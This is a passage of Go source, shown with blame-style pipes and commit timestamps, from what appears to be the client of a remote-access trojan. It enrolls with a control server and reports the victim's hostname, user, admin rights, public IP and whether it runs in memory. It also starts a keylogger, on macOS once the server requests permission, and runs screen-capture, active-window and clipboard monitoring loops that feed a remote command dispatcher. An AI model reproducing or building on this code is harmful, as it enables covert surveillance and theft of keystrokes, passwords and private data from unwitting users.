nonceB64, _ := challengeEnvelope["nonce"].(string)
|
|
|
|
|
if nonceB64 == "" {
|
|
|
|
|
return fmt.Errorf("purgatory: empty nonce in challenge")
|
|
|
|
|
}
|
|
|
|
|
nonceBytes, decErr := base64.StdEncoding.DecodeString(nonceB64)
|
|
|
|
|
if decErr != nil {
|
|
|
|
|
return fmt.Errorf("purgatory: invalid nonce base64: %w", decErr)
|
|
|
|
|
}
|
|
|
|
|
sig := identity.Sign(nonceBytes)
|
|
|
|
|
publicKeyB64 = identity.PublicKeyBase64()
|
|
|
|
|
signatureB64 = base64.StdEncoding.EncodeToString(sig)
|
|
|
|
|
log.Printf("[purgatory] signed challenge nonce (%d bytes)", len(nonceBytes))
|
|
|
|
|
|
|
|
|
|
case "hello_ack":
|
|
|
|
|
log.Printf("[purgatory] legacy server (no challenge), proceeding")
|
|
|
|
|
publicKeyB64 = ""
|
|
|
|
|
signatureB64 = ""
|
|
|
|
|
|
|
|
|
|
default:
|
|
|
|
|
return fmt.Errorf("purgatory: unexpected first message type: %s", msgType)
|
|
|
|
|
}
|
|
|
|
|
|
2026-03-05 00:04:26 -06:00
|
|
|
env := &rt.Env{Conn: safeWriter, Cfg: cfg, Cancel: cancel, SelectedDisplay: handlers.GetPersistedDisplay()}
|
|
|
|
|
env.SetLastPong(time.Now().UnixMilli())
|
|
|
|
|
env.Console = rt.NewConsoleHub(env)
|
|
|
|
|
env.Plugins = plugins.NewManager(env.Conn, plugins.HostInfo{ClientID: cfg.ID, OS: cfg.OS, Arch: cfg.Arch, Version: cfg.Version})
|
|
|
|
|
defer env.Plugins.Close()
|
|
|
|
|
|
|
|
|
|
env.Keylogger = keylogger.New()
|
2026-05-10 17:06:39 -05:00
|
|
|
if env.Keylogger != nil {
|
2026-06-03 21:04:14 -05:00
|
|
|
if env.Keylogger.NeedsPermissionGate() {
|
|
|
|
|
// macOS: do NOT start automatically. The server must send
|
|
|
|
|
// keylog_request_permission first, which triggers the OS prompt.
|
|
|
|
|
// The keylogger will be started by the command handler once
|
|
|
|
|
// permission is granted.
|
2026-05-10 17:06:39 -05:00
|
|
|
defer env.Keylogger.Stop()
|
2026-06-03 21:04:14 -05:00
|
|
|
log.Printf("[keylogger] macOS permission gate active — waiting for server request")
|
|
|
|
|
} else {
|
|
|
|
|
if err := env.Keylogger.Start(); err != nil {
|
|
|
|
|
log.Printf("[keylogger] Failed to start: %v", err)
|
|
|
|
|
} else {
|
|
|
|
|
defer env.Keylogger.Stop()
|
|
|
|
|
}
|
2026-05-10 17:06:39 -05:00
|
|
|
}
|
2026-03-05 00:04:26 -06:00
|
|
|
}
|
|
|
|
|
|
|
|
|
|
dispatcher := handlers.NewDispatcher(env)
|
|
|
|
|
|
|
|
|
|
osVal := strings.TrimSpace(cfg.OS)
|
|
|
|
|
if osVal == "" {
|
|
|
|
|
osVal = runtime.GOOS
|
|
|
|
|
}
|
2026-05-30 22:44:55 -05:00
|
|
|
if prettyOS := strings.TrimSpace(sysinfo.OSName()); prettyOS != "" {
|
|
|
|
|
osVal = prettyOS
|
|
|
|
|
}
|
2026-03-05 00:04:26 -06:00
|
|
|
|
|
|
|
|
archVal := strings.TrimSpace(cfg.Arch)
|
|
|
|
|
if archVal == "" {
|
|
|
|
|
archVal = runtime.GOARCH
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
hello := wire.Hello{
|
2026-07-30 12:38:28 -05:00
|
|
|
Type: "hello",
|
|
|
|
|
ID: cfg.ID,
|
|
|
|
|
HWID: cfg.HWID,
|
|
|
|
|
Host: rt.Hostname(),
|
|
|
|
|
OS: osVal,
|
|
|
|
|
Arch: archVal,
|
|
|
|
|
Version: cfg.Version,
|
|
|
|
|
User: rt.CurrentUser(),
|
|
|
|
|
Monitors: capture.MonitorCount(),
|
|
|
|
|
MonitorInfo: toWireMonitorInfo(capture.MonitorInfos()),
|
|
|
|
|
Country: cfg.Country,
|
|
|
|
|
BuildTag: cfg.BuildTag,
|
|
|
|
|
PublicKey: publicKeyB64,
|
|
|
|
|
Signature: signatureB64,
|
|
|
|
|
InMemory: isRunningInMemory(),
|
|
|
|
|
ProtocolVersion: wire.WireProtocolVersion,
|
|
|
|
|
CommandVersions: wire.SupportedCommandVersionRanges(),
|
2026-03-05 00:04:26 -06:00
|
|
|
}
|
|
|
|
|
|
2026-04-01 17:27:31 -05:00
|
|
|
hw := sysinfo.Collect()
|
|
|
|
|
hello.CPU = hw.CPU
|
|
|
|
|
hello.GPU = hw.GPU
|
|
|
|
|
hello.RAM = hw.RAM
|
2026-05-30 22:44:55 -05:00
|
|
|
hello.BatteryPercent = hw.BatteryPercent
|
2026-06-04 20:41:10 -05:00
|
|
|
if hw.BatteryPercent != nil {
|
|
|
|
|
charging := hw.BatteryCharging
|
|
|
|
|
hello.BatteryCharging = &charging
|
|
|
|
|
}
|
2026-04-07 10:36:29 -05:00
|
|
|
hello.IsAdmin = sysinfo.IsAdmin()
|
2026-04-08 20:59:46 -05:00
|
|
|
hello.Elevation = sysinfo.Elevation()
|
2026-04-13 10:49:36 -05:00
|
|
|
hello.Permissions = sysinfo.DarwinPermissions()
|
2026-05-05 19:31:55 -05:00
|
|
|
hello.HostArch = sysinfo.HostArch()
|
2026-05-14 19:56:50 -05:00
|
|
|
if cfg.FetchPublicIP {
|
|
|
|
|
hello.PublicIP = config.FetchPublicIPAddress()
|
|
|
|
|
}
|
2026-06-29 00:01:07 -05:00
|
|
|
if report, ok := loadPendingCrashReport(); ok {
|
|
|
|
|
hello.LastCrashReason = report.Reason
|
|
|
|
|
hello.LastCrashDetail = truncateStr(fmt.Sprintf("%s at %s", report.Detail, report.At), 1200)
|
|
|
|
|
}
|
2026-06-30 14:35:27 -05:00
|
|
|
crashReportSent := hello.LastCrashReason != ""
|
2026-04-01 17:27:31 -05:00
|
|
|
|
2026-03-05 00:04:26 -06:00
|
|
|
if err := wire.WriteMsg(ctx, env.Conn, hello); err != nil {
|
|
|
|
|
return fmt.Errorf("send hello: %w", err)
|
|
|
|
|
}
|
|
|
|
|
|
2026-03-20 22:38:17 -05:00
|
|
|
if msgType == "enrollment_challenge" {
|
|
|
|
|
ackCtx, ackCancel := context.WithTimeout(ctx, 30*time.Second)
|
|
|
|
|
defer ackCancel()
|
|
|
|
|
|
|
|
|
|
for {
|
|
|
|
|
_, ackData, err := conn.Read(ackCtx)
|
|
|
|
|
if err != nil {
|
|
|
|
|
return fmt.Errorf("purgatory: failed to read response: %w", err)
|
|
|
|
|
}
|
|
|
|
|
ackEnvelope, err := wire.DecodeEnvelope(ackData)
|
|
|
|
|
if err != nil {
|
|
|
|
|
return fmt.Errorf("purgatory: failed to decode response: %w", err)
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
ackType, _ := ackEnvelope["type"].(string)
|
|
|
|
|
switch ackType {
|
|
|
|
|
case "hello_ack":
|
|
|
|
|
log.Printf("[purgatory] approved, proceeding with session")
|
2026-06-30 14:35:27 -05:00
|
|
|
if crashReportSent {
|
|
|
|
|
clearPendingCrashReport()
|
|
|
|
|
crashReportSent = false
|
|
|
|
|
}
|
2026-03-21 19:40:05 -05:00
|
|
|
|
|
|
|
|
if err := handlers.HandleHelloAck(ackCtx, env, ackEnvelope); err != nil {
|
|
|
|
|
log.Printf("[purgatory] hello_ack handler error: %v", err)
|
|
|
|
|
}
|
2026-03-20 22:38:17 -05:00
|
|
|
case "enrollment_status":
|
|
|
|
|
status, _ := ackEnvelope["status"].(string)
|
|
|
|
|
log.Printf("[purgatory] server returned status=%s", status)
|
|
|
|
|
return fmt.Errorf("purgatory: status=%s", status)
|
|
|
|
|
case "ping", "pong":
|
|
|
|
|
continue
|
|
|
|
|
default:
|
|
|
|
|
return fmt.Errorf("purgatory: unexpected response type: %s", ackType)
|
|
|
|
|
}
|
|
|
|
|
break
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
|
2026-03-05 00:04:26 -06:00
|
|
|
if err := wire.WriteMsg(ctx, env.Conn, wire.Ping{Type: "ping", TS: time.Now().UnixMilli()}); err != nil {
|
|
|
|
|
log.Printf("ping: failed to send initial ping: %v", err)
|
|
|
|
|
cancel()
|
|
|
|
|
return fmt.Errorf("send initial ping: %w", err)
|
|
|
|
|
}
|
2026-06-30 14:35:27 -05:00
|
|
|
if crashReportSent {
|
2026-06-29 00:01:07 -05:00
|
|
|
clearPendingCrashReport()
|
|
|
|
|
}
|
2026-03-05 00:04:26 -06:00
|
|
|
|
|
|
|
|
if interval := getPingInterval(); interval > 0 {
|
|
|
|
|
log.Printf("ping: heartbeat interval=%s", interval)
|
|
|
|
|
goSafe("ping loop", cancel, func() {
|
|
|
|
|
ticker := time.NewTicker(interval)
|
|
|
|
|
defer ticker.Stop()
|
|
|
|
|
for {
|
|
|
|
|
select {
|
|
|
|
|
case <-ctx.Done():
|
|
|
|
|
return
|
|
|
|
|
case <-ticker.C:
|
|
|
|
|
ping := wire.Ping{Type: "ping", TS: time.Now().UnixMilli()}
|
|
|
|
|
if err := wire.WriteMsg(ctx, env.Conn, ping); err != nil {
|
|
|
|
|
log.Printf("ping: failed to send: %v", err)
|
|
|
|
|
cancel()
|
|
|
|
|
return
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
})
|
|
|
|
|
goSafe("pong watchdog", cancel, func() {
|
2026-05-04 09:58:59 -05:00
|
|
|
grace := interval*3 + (30 * time.Second)
|
|
|
|
|
if grace < 90*time.Second {
|
|
|
|
|
grace = 90 * time.Second
|
2026-03-05 00:04:26 -06:00
|
|
|
}
|
|
|
|
|
ticker := time.NewTicker(interval)
|
|
|
|
|
defer ticker.Stop()
|
|
|
|
|
for {
|
|
|
|
|
select {
|
|
|
|
|
case <-ctx.Done():
|
|
|
|
|
return
|
|
|
|
|
case <-ticker.C:
|
|
|
|
|
last := env.LastPong()
|
|
|
|
|
if !last.IsZero() && time.Since(last) > grace {
|
|
|
|
|
log.Printf("ping: no pong for %s, forcing reconnect", time.Since(last))
|
|
|
|
|
cancel()
|
2026-06-16 17:51:41 -05:00
|
|
|
conn.CloseNow()
|
2026-03-05 00:04:26 -06:00
|
|
|
return
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
})
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
readErr := make(chan error, 1)
|
|
|
|
|
go func() {
|
|
|
|
|
defer func() {
|
|
|
|
|
if r := recover(); r != nil {
|
|
|
|
|
reason := fmt.Sprintf("readLoop panic: %v", r)
|
|
|
|
|
stack := debug.Stack()
|
|
|
|
|
path := writeCrashLog(reason, stack)
|
|
|
|
|
log.Printf("%s (see %s)", reason, path)
|
|
|
|
|
err := fmt.Errorf("%s", reason)
|
|
|
|
|
select {
|
|
|
|
|
case readErr <- err:
|
|
|
|
|
default:
|
|
|
|
|
}
|
|
|
|
|
cancel()
|
|
|
|
|
}
|
|
|
|
|
}()
|
|
|
|
|
|
2026-04-05 19:13:10 -05:00
|
|
|
err := readLoop(ctx, conn, env, dispatcher)
|
|
|
|
|
if err == nil {
|
|
|
|
|
err = fmt.Errorf("readLoop exited unexpectedly")
|
2026-03-05 00:04:26 -06:00
|
|
|
}
|
2026-04-05 19:13:10 -05:00
|
|
|
log.Printf("readLoop ended: %v", err)
|
|
|
|
|
select {
|
|
|
|
|
case readErr <- err:
|
|
|
|
|
default:
|
|
|
|
|
}
|
|
|
|
|
cancel()
|
2026-03-05 00:04:26 -06:00
|
|
|
}()
|
|
|
|
|
|
|
|
|
|
shotCtx, cancelShots := context.WithCancel(ctx)
|
|
|
|
|
defer cancelShots()
|
|
|
|
|
goSafe("capture loop", cancel, func() {
|
|
|
|
|
capture.Loop(shotCtx, env)
|
|
|
|
|
})
|
|
|
|
|
|
2026-04-07 13:26:52 -05:00
|
|
|
goSafe("activewindow", cancel, func() {
|
2026-03-05 00:04:26 -06:00
|
|
|
if err := activewindow.Start(ctx, env); err != nil {
|
|
|
|
|
log.Printf("activewindow error: %v", err)
|
|
|
|
|
}
|
|
|
|
|
})
|
|
|
|
|
|
2026-04-07 13:26:52 -05:00
|
|
|
goSafe("clipboard", cancel, func() {
|
2026-03-18 23:46:44 -05:00
|
|
|
if err := activewindow.StartClipboard(ctx, env); err != nil {
|
|
|
|
|
log.Printf("clipboard error: %v", err)
|
|
|
|
|
}
|
|
|
|
|
})
|
|
|
|
|
|
2026-03-05 00:04:26 -06:00
|
|
|
return <-readErr
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
func toWireMonitorInfo(infos []capture.MonitorInfo) []wire.MonitorInfo {
|
|
|
|
|
if len(infos) == 0 {
|
|
|
|
|
return nil
|
|
|
|
|
}
|
|
|
|
|
out := make([]wire.MonitorInfo, 0, len(infos))
|
|
|
|
|
for _, info := range infos {
|
|
|
|
|
out = append(out, wire.MonitorInfo{Width: info.Width, Height: info.Height})
|
|
|
|
|
}
|
|
|
|
|
return out
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
func readLoop(ctx context.Context, conn *websocket.Conn, env *rt.Env, dispatcher *handlers.Dispatcher) error {
|
|
|
|
|
for {
|
|
|
|
|
_, data, err := conn.Read(ctx)
|
|
|
|
|
if err != nil {
|
|
|
|
|
if ctx.Err() != nil {
|
|
|
|
|
return err
|
|
|
|
|
}
|
2026-03-08 22:31:11 -05:00
|
|
|
var closeErr *websocket.CloseError
|
|
|
|
|
if errors.As(err, &closeErr) {
|
|
|
|
|
log.Printf("readLoop: websocket close code=%d reason=%q", closeErr.Code, closeErr.Reason)
|
|
|
|
|
}
|
2026-03-05 00:04:26 -06:00
|
|
|
log.Printf("readLoop: read error: %v", err)
|
|
|
|
|
return err
|
|
|
|
|
}
|
|
|
|
|
envelope, err := wire.DecodeEnvelope(data)
|
|
|
|
|
if err != nil {
|
|
|
|
|
log.Printf("decode: %v (bytes=%d)", err, len(data))
|
|
|
|
|
continue
|
|
|
|
|
}
|
|
|
|
|
if err := dispatcher.Dispatch(ctx, envelope); err != nil {
|
|
|
|
|
log.Printf("dispatcher error: %v (type=%v)", err, envelope["type"])
|
|
|
|
|
return err
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
}
|